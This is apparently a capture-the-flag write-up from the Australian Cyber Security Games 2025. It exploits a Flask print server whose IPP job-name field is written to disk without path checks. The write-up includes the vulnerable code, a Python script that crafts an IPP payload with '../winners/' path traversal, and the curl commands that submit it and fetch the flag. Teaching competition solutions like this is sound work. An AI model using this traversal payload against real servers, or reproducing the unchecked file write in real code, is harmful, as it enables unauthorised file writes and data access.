Who checks the integrity of the integrity checks?

A CTF writeup hosting site by Raahguu

Week 4 - Australian Cyber Security Games - 2025

Who checks the integrity of the integrity checks?

By Raahguu (Joshua Finlayson)9 min read

Description

The government has ordered verification of the votes via the printed receipts. The results were… a mismatch in votes! While there were probably multiple ways that this came as a result, is it possible for someone to tamper with the receipts?

As the backend code for all of week 4 was the same, we also had the backend code of the printer

Solution

Here is the backend code of the printers:

from flask import Flask, request, send_file, abort, Response
import os
import struct

app = Flask(__name__)

FLAG_PATH = "/flag.txt"
PRINTJOB_FOLDER = "/tmp/printjobs"
CHAL_TARGET_FOLDER = "/tmp/winners"

@app.route('/printers/votes', methods=['POST'])
def handle_print_job():
    data = request.data
    idx = 8
    if data[idx] != 0x01:
        return "Missing operation attributes tag", 400
    idx += 1

    filename = None
    try:
        while data[idx] != 0x03:
            tag = data[idx]
            name_len = struct.unpack(">H", data[idx+1:idx+3])[0]
            name = data[idx+3:idx+3+name_len].decode()
            val_len_offset = idx+3+name_len
            val_len = struct.unpack(">H", data[val_len_offset:val_len_offset+2])[0]
            val = data[val_len_offset+2:val_len_offset+2+val_len].decode()
            if name == "job-name":
                filename = val
            idx = val_len_offset + 2 + val_len
    except Exception:
        return "Malformed IPP attributes", 400

    idx += 1  # skip end tag
    pdf_data = data[idx:]

    if not filename:
        return "job-name attribute is required", 400

    with open(f"{PRINTJOB_FOLDER}/{filename}", "wb") as f:
        f.write(pdf_data)

    actual_path = os.path.realpath(os.path.join(PRINTJOB_FOLDER, filename))

    if actual_path.startswith(CHAL_TARGET_FOLDER):
        with open(FLAG_PATH, "r") as f:
            flag = f.read()

        with open(actual_path, "w") as f:
            f.write(flag)

    return Response("Print job saved", status=200, content_type="application/ipp")

@app.route("/files/<path:filename>")
def get_flag(filename):
    safe_path = os.path.realpath(os.path.join(CHAL_TARGET_FOLDER, filename))

    if not safe_path.startswith(os.path.realpath(CHAL_TARGET_FOLDER)):
        abort(403, description="Access denied")

    if not os.path.isfile(safe_path):
        abort(404, description="File not found")

    return send_file(safe_path)

@app.after_request
def add_printer_headers(response):
    response.headers["Server"] = "CUPS/2.3 IPP/2.0"
    return response

if __name__ == "__main__":
    os.makedirs(CHAL_TARGET_FOLDER, exist_ok=True)
    os.makedirs(PRINTJOB_FOLDER, exist_ok=True)
    app.run(host="0.0.0.0", port=631)

Now as this program ran on a different domain then all the other challenges, the first step was to figure out what domain the server was being run on. Now as I knew that the server for the mobile app was hosted at http://mobile-app.commission.freedonia.vote I figures, that it would probably be a very simmilar subdomain to this, so I tried http://printer.commission.freedonia.vote and what would you know it:

$ dig +short printer.commission.freedonia.vote
re.da.ct.ed

That has a IPv4 result in the DNS records. So, now knowing that the server was hosted at http://printer.commission.freedonia.vote its time to exploit.

Reading the code over we seem to need to input a value into handle_print_job that does directory traversal from /tmp/printjobs/ into /tmp/winners/ and then with get_flag we seem to be able to read any file within /tmp/winners/ but can’t do path traversal out of there.

The only hard part about this challenge is the complex .ipp file stuff that we appear to need to deal with. So after figuring out how .ipp files work, I came up with this python file which generates the .ipp file for me.

import struct

fake_pdf = b"%PDF-1.7\n%...\n"

payload = b""

# They don't care about the first 8 bytes
payload += b"\x01" * 8 

# Operation Attributes Tag that needs to be \0x01 for some reason
payload += b"\x01"

# vars
header_name = b"job-name"
value = b"../winners/flaginsECUre123456.txt"

payload += b"\x00" # tag, not used
payload += struct.pack('>H', len(header_name)) # name_len
payload += header_name # name
payload += struct.pack('>H', len(value)) # val_len
payload += value # val

payload += b"\x03" # Ending character

payload += fake_pdf

with open("ipp_request.bin", "wb") as f:
	f.write(payload)

running this then writes a new ipp_request.bin file that contains the payload to submit. I called the file flaginsECUre123456.txt becuas ewe were told in the discord server not to call it guessable names so other teams can’t just read our file but need to actually do the whole thing themselves, also becuase my team name was insECUre. I then submitted the payload

$ curl -X POST "http://printer.commission.freedonia.vote/printers/votes" --data-binary @ipp_request.bin -H "Content-Type: application/ipp"
Print job saved

then read the file with /files

$ curl "http://printer.commission.freedonia.vote/files/flaginsECUre123456.txt"
cysea{cant_trust_anything_these_days_31fe6ba0a0}

And there is our flag cysea{cant_trust_anything_these_days_31fe6ba0a0}

tags: WebX
Back